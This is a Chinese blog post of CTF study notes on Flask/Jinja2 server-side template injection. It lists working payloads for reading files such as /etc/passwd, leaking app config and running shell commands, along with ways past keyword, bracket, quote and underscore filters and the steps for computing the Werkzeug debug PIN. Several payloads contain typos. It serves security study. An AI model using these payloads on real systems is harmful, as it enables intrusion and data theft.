SSTI 服务器端模板注入
SSTI 服务器端模板注入
flask基础
不正确的使用模板引擎进行渲染时,则会造成模板注入
路由
route
装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index
的时候,flask会返回hello word。
渲染方法
flask的渲染方法有render_template和render_template_string两种。
render_template()是用来渲染一个指定的文件的。使用如下
render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。
使用方法如下
常用的魔术方法和内置类
常用注入模板
- 文件读取
查找子类 __frozen__importlib__external.FileLoader
<class’__frozen__importlib__external.FileLoader’>
FileLoader的利用
[“get_data”](0,"/etc/passwd")
调用get_data方法,传入参数0和文件路径
读取配置文件下的flag
{{url_for.__globals__['current_app'].config.FLAG}}
{{get__flash__messages.__globals__['current_app'].config.FLAG}}
__frozen__importlib__external.FileLoader
- 内建函数eval执行命令
内建函数:python在执行脚本时自动加载的函数
- os模块执行命令
在其他函数中直接调用os模块
通过config,调用os
{{config.__class__.init__.globals__['os'].popen('whoami').read()}}
通过url_for,调用os
{{url_for.__globals__.os.popen('whoami').read()}}
在已经加载os模块的子类里直接调用os模块
{{::__class__.bases__[0].__subclasses__()[199].__init__.globals__['os'].popen("ls -l /opt").read()}}
os.py
- importlib类执行命令
可以加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImporter
可以加载第三方库,使用load_module加载os
{{[].class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
_frozen_importlib.BuiltinImporter
- linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,使用外卖也可以利用这个linecache函数去执行命令
- subprocess.Popen类执行命令
subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数
找类的下标的脚本
过滤bypass
过滤双大括号
过滤,即\{\{或者\}\}
{%%}使用介绍
{%%}是属于flask的控制语句,且以{%end…%}结尾,可以通过在控制语句定义变量或者写循环,判断
解题思路
判断{{}}被过滤
尝试{%%}
判断语句能否正常执行
有回显ssti说明.__class__
有内容
如果有回显则证明命令正常执行
无回显
SSTI盲注思路
- 反弹shell
通过RCE反弹一个shell出来绕过无回显的页面
- 带外注入
通过requestbin或dnslog的方式将信息传到外界
- 纯盲注
(别问为什么没有,问多了没好处)
反弹shell
没有回显
直接使用脚本批量执行希望执行的命令
带外注入
纯盲注
getitem绕过中括号过滤
__getitem__()
魔术方法
__getitem__()
是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。
request绕过单双引号过滤
request在flask中可以访问基于HTTP请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
POST提交payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.from.k1](request.from.k2).read()}}&k1=popen;k2=cat /etc/passwd
cookie提交构造payload
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}
cookie:
k1=popen;k2=cat /etc/passwd
过滤器绕过下划线过滤
过滤器
过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数
flask常用过滤器
attr绕过下划线过滤
{{''.__class__.base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /etc/passwd').read()}}
- 使用request方法
GET提交:
URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__geitem__
POST提交:
code={{()|attr(request.args.cla)|attr(request.arg.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}
2 .使用Unicode编码
- 使用16位编码
-
base64编码
-
格式化字符串
绕过点过滤
- 用中括号[]代替点
python语法除了可以使用点‘.’来访问对象属性外,还可以使用中括号‘[]’
- 用attr()绕过
payload语句中不会用到点‘.’和中括号‘[]’
绕过关键字过滤
过滤了“class”“arg”“form”“value”“int”“global”等关键字
以__class__
为例
- 字符编码
- 拼接“+”:
‘__cl’+’ass__’
- 使用Jinjia2中的“~”进行拼接:
{%set a=“__cla”%}{%set b=“ss__”%}
- 使用过滤器(reverse反转、replace替换、join拼接等):
{%set a=“__ssalc__”|reverse%}{{a}}
- 利用python的char():
{%set chr=url_for._globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
length过滤器绕过数字过滤
过滤器length
检验数字过滤
{{6*6}}
构造payload
获取config文件
flask内置函数和对象
内置函数
内置对象
可利用已加载内置函数或对象寻找被过滤字符串
可利用内置函数调用cuurent_app模块进而查看配置文件
current_app
调用current_app相当于调用flask
混合过滤绕过
dict()和join
dict(): #用来创建一个字典
join: #将一个序列中的参数值拼接成字符串
获取符号
利用flask内置函数和对象获取符号
python debug pin码计算
- 获取用户名username
/etc/passwd
- 获取app对象name属性
getattr(app,”__name__”,type(app).__name__)
获取的是当前app对象的
__name__
属性,若不存在则获取类的
__name__
属性,默认为Flask
- 获取app对象module属性
- mod的
__file__
属性
app.py文件所在路径
一般在报错中找到
- uuid
实际上就是当前网卡的物理地址
/sys/class/net/eth0/address
得到的是十六进制的,要将其转换为十进制
- get_machine_id获取
python flask版本不同,读取顺序也不同
/etc/machine-id和/proc/sys/kernel/random/boot_id,/proc/self/cgroup /etc/machine-id + /proc/self/cgroup 或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
这里需要注意的是,做ctf一般都是docker,所以用/proc/self/cgroup
的较多,但是,我遇到的是题有 /etc/machine-id + /proc/self/cgroup
的,还有直接/etc/machine-id
的,本人纯纯菜鸡,无从考察,遇到只能试了
3.6是md5
3.8是sha1
pin码的计算有
-
[GYCTF2020]FlaskApp
-
CTFshow-web801
偷懒就不写wp了(过程实在是非常心酸😢)
最最最后是一些大佬的payload
__EOF__

本文链接:https://www.cnblogs.com/solitude0-c/p/17616123.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!